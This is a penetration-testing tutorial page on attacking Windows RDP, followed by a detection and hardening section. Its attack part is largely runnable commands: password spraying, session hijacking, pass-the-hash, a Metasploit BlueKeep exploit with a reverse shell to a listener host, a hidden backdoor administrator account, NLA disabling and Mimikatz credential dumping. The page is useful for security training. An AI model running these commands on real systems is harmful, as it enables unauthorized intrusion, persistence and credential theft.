Skip to Content
RDP service exploitation with session hijacking, pass-the-hash, and BlueKeep

RDP Service Attacks and Exploitation

RDP attack techniques covering password attacks, session hijacking, pass-the-hash, BlueKeep and RD Gateway exploitation.

Oct 31, 2025
Updated Nov 22, 2026
19 min read

Introduction

Remote Desktop Protocol (RDP) is Microsoft's proprietary protocol for graphical remote access to Windows systems. It first shipped with Windows NT 4.0 Terminal Server Edition in 1996 and is now the main way Windows is administered remotely in enterprise environments.

RDP is a high-value target for several reasons:

  • It is enabled on many Windows servers and workstations for remote administration.
  • A session gives direct control with the user's full privileges.
  • It is often reachable from external networks.
  • It is often protected by a password alone.
  • It has had critical protocol flaws such as BlueKeep (CVE-2019-0708).
  • With valid credentials it is an easy way to move between hosts.

Why RDP matters on a test

RDP comes up on most enterprise assessments:

  • RDP compromise is a common ransomware entry point.
  • Exposed RDP services face constant automated brute-force attempts.
  • Leaked credentials are regularly tried against exposed RDP services.
  • BlueKeep showed that an RDP vulnerability can be wormable.
  • AWS and Azure instances may expose RDP if they are not configured properly.
  • Managed service providers often centralize RDP access.

Shodan shows millions of RDP services exposed to the internet.

Technical background

RDP protocol architecture

RDP runs on a layered protocol stack:

Transport layer:

  • Default port: TCP/3389
  • Can operate over UDP for performance (RDP 8.0+)
  • Supports SSL/TLS encryption (RDP 5.2+)

Security layer:

  • Standard RDP Security (legacy)
  • TLS 1.0/1.1/1.2 (modern)
  • CredSSP (Credential Security Support Provider)
  • Network Level Authentication (NLA)

Presentation layer:

  • RemoteFX for graphics optimization
  • Virtual channel support (clipboard, drives, printers)
  • Multiple monitor support

Application layer:

  • Session management
  • Input/output redirection
  • Resource sharing

RDP authentication methods

MethodSecurity levelDescription
RDP SecurityLowLegacy, vulnerable to MITM
TLSMediumSSL/TLS encryption without NLA
CredSSP (NLA)HighNetwork Level Authentication, requires auth before session
KerberosHighDomain-joined systems, ticket-based
Smart cardVery HighCertificate-based authentication

Network level authentication (NLA)

NLA requires authentication before a full RDP session is established:

Benefits:

  • Prevents anonymous resource consumption
  • Reduces attack surface for pre-auth exploits
  • Protects against DoS attacks

Limitations:

  • Credential attacks still work
  • Valid credentials get straight through it
  • It does not prevent post-authentication exploits

RDP versions and features

VersionWindows versionKey features
RDP 5.0Windows 2000Basic remote desktop
RDP 5.1Windows XP24-bit color, audio
RDP 5.2Windows 2003Console session access
RDP 6.0Windows VistaNetwork Access Protection
RDP 6.1Windows Vista SP1, Server 2008Terminal Services Gateway
RDP 7.0Windows 7, Server 2008 R2Bidirectional audio, multi-monitor support
RDP 7.1Windows 7 SP1, Server 2008 R2 SP1RemoteFX graphics
RDP 8.0Windows 8UDP transport, multitouch
RDP 10Windows 10H.264/AVC encoding

Enumeration

Port scanning and service detection

Basic RDP detection

RDP Service Detection
# Nmap service detection
nmap -p 3389 -sV 10.10.11.45

# Scan common RDP ports
nmap -p 3389,3388,3390-3400 10.10.11.45

# Scan subnet for RDP
nmap -p 3389 --open 10.10.11.0/24

# Fast scan with minimal output
nmap -p 3389 -T4 --open --min-rate 1000 10.10.11.0/24 -oG rdp_hosts.txt

Example output:

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

RDP certificate information

# Extract RDP certificate
nmap -p 3389 --script rdp-enum-encryption 10.10.11.45
nmap -p 3389 --script ssl-cert 10.10.11.45

# Manual certificate grab with OpenSSL
openssl s_client -connect 10.10.11.45:3389 < /dev/null 2>&1 | openssl x509 -text

Information revealed:

  • Hostname in certificate CN
  • Organization details
  • Domain information
  • Certificate validity dates

RDP security assessment

# Check encryption levels
nmap -p 3389 --script rdp-enum-encryption 10.10.11.45

# Check for NLA requirement
nmap -p 3389 --script rdp-ntlm-info 10.10.11.45

# Comprehensive RDP enumeration
nmap -p 3389 --script "rdp-* and not brute" 10.10.11.45

RDP fingerprinting

# Using rdp-sec-check
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git
cd rdp-sec-check
./rdp-sec-check.pl 10.10.11.45

# Example output
Starting rdp-sec-check v0.9 ( http://labs.portcullis.co.uk/ ) at Thu Oct 31 10:00:00 2025

[+] Checking 10.10.11.45
[-] Failed to establish SSL connection - server likely requires NLA
[-] Old style encryption supported
[+] Summary: RDP Security Layer is enabled but not enforced

Exploitation techniques

Password attacks

Password spraying

Password spraying avoids account lockouts by testing one password against many users:

RDP Password Spraying
# Using Crowbar (recommended for RDP)
crowbar -b rdp -s 10.10.11.45/32 -U users.txt -c 'Welcome2025!'

# Test single password across user list
crowbar -b rdp -s 10.10.11.45/32 -U users.txt -C passwords.txt -n 1

# Using Hydra (slower for RDP)
hydra -L users.txt -p 'Password123!' 10.10.11.45 rdp

# Reduce threads to avoid lockout
hydra -L users.txt -p 'Password123!' -t 1 -W 30 10.10.11.45 rdp

Effective password lists:

  • Season and year: Welcome2025!, Spring2025!, Summer2024!
  • Company name variations: CompanyName2025!
  • Default passwords: Password123!, Admin@123, P@ssw0rd

Brute-force attack

# Hydra brute-force (use cautiously)
hydra -l administrator -P /usr/share/wordlists/rockyou.txt 10.10.11.45 rdp

# With rate limiting
hydra -l admin -P passwords.txt -t 1 -w 60 10.10.11.45 rdp

# Multiple users, single password
hydra -L users.txt -p 'Password123!' 10.10.11.45 rdp

# Metasploit RDP service detection
msfconsole
msf6 > use auxiliary/scanner/rdp/rdp_scanner
msf6 auxiliary(scanner/rdp/rdp_scanner) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/rdp/rdp_scanner) > run

# Metasploit has no RDP login brute-force module. auxiliary/scanner/rdp only holds
# rdp_scanner, ms12_020_check and cve_2019_0708_bluekeep. Use hydra as shown above.

Connect with valid credentials

# Using xfreerdp (Linux)
xfreerdp /v:10.10.11.45 /u:administrator /p:'Password123!' /cert:ignore

# Full desktop experience
xfreerdp /v:10.10.11.45 /u:admin /p:'Password123!' /size:1920x1080 /cert:ignore +clipboard +drives

# Using rdesktop (legacy)
rdesktop -u administrator -p 'Password123!' 10.10.11.45

# Windows built-in client
mstsc /v:10.10.11.45

Account lockout considerations

Windows default account lockout policy:

  • Default domain policy and older standalone systems: threshold 0, so accounts never lock
  • New installs of Windows 11 22H2 and later: 10 failed attempts within 10 minutes, locked for 10 minutes
  • Most domains set their own values, so read the policy (net accounts /domain) before spraying

Password spraying strategy:

  1. Test 1-2 passwords per user
  2. Wait 31+ minutes between attempts
  3. Monitor for lockouts
  4. Use common passwords first (Welcome2025!, Password123!)

RDP session hijacking

With local administrator privileges you can hijack other users' RDP sessions:

Enumerate active sessions

Enumerate Active RDP Sessions
# Query logged-in users
query user

# Example output
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>admin                rdp-tcp#13          1  Active          7  10/31/2025 10:00 AM
 user1                rdp-tcp#14          2  Active          *  10/31/2025 10:15 AM
 user2                                     3  Disc            5  10/31/2025 09:45 AM

# Get detailed session info
qwinsta

Obtain SYSTEM privileges

# Using PsExec
psexec.exe -s cmd.exe

# Create service to run as SYSTEM
sc.exe create sessionhijack binpath="cmd.exe /k tscon 2 /dest:rdp-tcp#13"

# Alternative: Use Mimikatz
mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate

Hijack target session

# From SYSTEM context, hijack session
tscon 2 /dest:rdp-tcp#13

# Or start the service
net start sessionhijack

# Directly without password (requires SYSTEM)
tscon [TARGET_SESSION_ID] /dest:[YOUR_SESSION_NAME]

A new window opens with the hijacked user's session, including their privileges and access.

Server version limitations

Session hijacking limitations:

  • Works on Windows Server 2016 and earlier
  • Reported not to work on Windows Server 2019, where the target session asks for the user's password. Microsoft has not documented a fix, so test it on the build in front of you
  • Requires local administrator privileges
  • SYSTEM context needed for passwordless hijack

RDP Pass-the-Hash (PtH)

Authenticate with an NTLM hash instead of a plaintext password:

Enable Restricted Admin mode

On the target system (needs a registry change):

# Add registry key to enable Restricted Admin
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

# Verify setting
reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin

Or remotely through WMI/PowerShell:

# PowerShell remote registry modification
Invoke-Command -ComputerName 10.10.11.45 -ScriptBlock {
    Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0
}

Pass-the-Hash with xfreerdp

RDP Pass-the-Hash Attack
# Using xfreerdp with /pth option
xfreerdp /v:10.10.11.45 /u:administrator /pth:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 /cert:ignore

# With domain
xfreerdp /v:10.10.11.45 /u:DOMAIN\\administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0 /cert:ignore

# Full command with options
xfreerdp /v:10.10.11.45 /u:admin /pth:8846f7eaee8fb117ad06bdd830b7586c /cert:ignore +clipboard /size:1920x1080

Verify access

Once connected, verify you have the expected privileges:

whoami
whoami /priv
net user %username%

Requirements:

  • A valid NTLM hash for the target user
  • Restricted Admin Mode enabled on the target
  • The user must have RDP access rights
  • The target must be Windows 8.1+ or Server 2012 R2+

BlueKeep exploitation (CVE-2019-0708)

BlueKeep is a critical pre-authentication RCE vulnerability in RDP:

Check for BlueKeep vulnerability

# Nmap ships no BlueKeep script. rdp-vuln-ms12-020 checks for MS12-020 only
nmap -p 3389 --script rdp-vuln-ms12-020 10.10.11.45

# Using Metasploit scanner
msfconsole
msf6 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > set RHOSTS 10.10.11.0/24
msf6 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > run

# Manual check with rdpscan
git clone https://github.com/robertdavidgraham/rdpscan.git
cd rdpscan
make
./rdpscan 10.10.11.0/24

Vulnerable versions:

  • Windows XP
  • Windows Vista
  • Windows 7
  • Windows Server 2003
  • Windows Server 2008 / 2008 R2

Exploit BlueKeep

# Using Metasploit (CAUTION: Can crash systems)
msfconsole
msf6 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set RHOSTS 10.10.11.45
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set TARGET [appropriate target]
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set LHOST 10.10.14.5
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set LPORT 4444
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > check
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

BlueKeep exploitation warning

  • BlueKeep exploits frequently cause a Blue Screen of Death (BSoD)
  • A crash takes the whole system down and disrupts operations
  • The bug is wormable and can spread across networks on its own
  • Only use it with explicit client authorization
  • Have an incident response plan ready
  • Test on an isolated system first

An internet scan by Errata Security in May 2019 found roughly 950,000 exposed machines vulnerable to BlueKeep.

Additional RDP vulnerabilities

RDPGateway RCE (CVE-2020-0609, CVE-2020-0610)

These are pre-authentication bugs in RD Gateway's UDP transport (UDP/3391). Neither Nmap nor Metasploit ships a check or exploit for them: the only rdp-vuln-* NSE script is rdp-vuln-ms12-020. The public proof of concept is BlueGate, a scanner and denial of service. Otherwise confirm the January 2020 updates are installed.

DejaBlue (CVE-2019-1181, CVE-2019-1182)

Metasploit has no DejaBlue module. exploit/windows/rdp contains only cve_2019_0708_bluekeep_rce and rdp_doublepulsar_rce. Check that the August 2019 updates are installed.

Post-exploitation

Persistence via RDP

Create backdoor user

# Create new user
net user backdoor P@ssw0rd123! /add

# Add to Administrators and Remote Desktop Users
net localgroup Administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add

# Hide from login screen
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0 /f

Enable RDP if disabled

# Enable RDP
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Allow through firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

# Disable NLA for easier access
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

Port forwarding for stealth

# Forward RDP to non-standard port
netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=3389 connectaddress=127.0.0.1

# Add firewall rule
netsh advfirewall firewall add rule name="RDP Redirect" dir=in action=allow protocol=TCP localport=8888

Credential harvesting

# Dump credentials with Mimikatz
mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Extract RDP saved credentials
cmdkey /list
dir /s /b %userprofile%\*.rdp

# Parse .rdp files for servers
findstr /si "full address" %userprofile%\*.rdp

Lateral movement

# Use RDP for pivoting
xfreerdp /v:internal-host.domain.local /u:admin /p:password /g:gateway.domain.com /gu:gateway-user /gp:gateway-pass

# Tunnel RDP through SSH
ssh -L 3389:internal-host:3389 user@jumpbox
xfreerdp /v:localhost /u:admin /p:password

# Chain RDP connections
xfreerdp /v:host1 /u:admin /p:pass
# From host1, RDP to host2
mstsc /v:host2

Detection and defense

Monitoring RDP activity

Event IDs to monitor:

Event IDDescriptionImportance
4624Successful logon (Type 10 = RDP)Track all RDP logins
4625Failed logonDetect brute-force
4778Session reconnectedSession hijacking indicator
4779Session disconnectedTrack session activity
1149RDP-TCP connection successfulAuthentication success
21RDP Remote Desktop Services: Session logon succeededTrack RDP sessions
24RDP Remote Desktop Services: Session has been disconnectedMonitor disconnects

PowerShell log analysis:

# Failed RDP logins (Event 4625, Type 10)
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625} | Where-Object {$_.Properties[10].Value -eq 10} | Select-Object TimeCreated,Message

# Successful RDP logins
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} | Where-Object {$_.Properties[8].Value -eq 10}

# Detect brute-force patterns
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625;StartTime=(Get-Date).AddHours(-1)} | Group-Object {$_.Properties[19].Value} | Where-Object {$_.Count -gt 5}

Hardening RDP configuration

Require network level authentication

# Enable NLA (recommended)
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f

# Via Group Policy
Computer Configuration → Administrative Templates → Windows Components → Remote Desktop Services → Remote Desktop Session Host → Security
→ Set "Require user authentication for remote connections by using Network Level Authentication" to Enabled

Implement strong encryption

# Require high encryption level
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel /t REG_DWORD /d 3 /f

# Values: 1=Low, 2=Client Compatible, 3=High, 4=FIPS Compliant

Disable RDP when not needed

# Disable RDP
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

# Block RDP in firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=No

Change default port

# Change RDP port (security through obscurity)
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3390 /f

# Add firewall rule for new port
netsh advfirewall firewall add rule name="RDP Custom Port" dir=in action=allow protocol=TCP localport=3390

# Restart Terminal Services
net stop TermService && net start TermService

Implement account lockout

# Via Group Policy
Computer Configuration → Windows Settings → Security Settings → Account Policies → Account Lockout Policy
→ Account lockout threshold: 5 invalid logon attempts
→ Account lockout duration: 30 minutes
→ Reset account lockout counter after: 30 minutes

Restrict RDP access

# Limit RDP to specific users/groups
net localgroup "Remote Desktop Users"

# Add only necessary users
net localgroup "Remote Desktop Users" admin /add

# Via Group Policy
Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment
→ "Allow log on through Remote Desktop Services"

Additional security measures

RD Gateway:

  • Centralized RDP access point
  • SSL/TLS encryption for all RDP traffic
  • Granular access control
  • Centralized logging

Multi-factor authentication:

  • Duo Security for RDP
  • Azure MFA integration
  • Smart card authentication
  • Biometric authentication

Network segmentation:

# Firewall rule (allow RDP only from management network)
netsh advfirewall firewall add rule name="RDP Admin Network Only" dir=in action=allow protocol=TCP localport=3389 remoteip=10.10.10.0/24

Rate limiting:

# Using Windows Firewall dynamic blocking
# Configure via Group Policy or third-party tools like RdpGuard, Syspeace

Patch management

Critical RDP patches:

  • MS12-020 (CVE-2012-0002 remote code execution, CVE-2012-0152 denial of service)
  • CVE-2019-0708 (BlueKeep)
  • CVE-2019-1181, CVE-2019-1182 (DejaBlue)
  • CVE-2020-0609, CVE-2020-0610 (RDPGateway)
  • CVE-2022-21893 (Remote Desktop Protocol RCE)
# Check Windows Update status
Get-WindowsUpdate

# Install updates
Install-WindowsUpdate -AcceptAll -AutoReboot

References

MITRE ATT&CK techniques

Security resources

Vulnerabilities

Tools documentation

On this page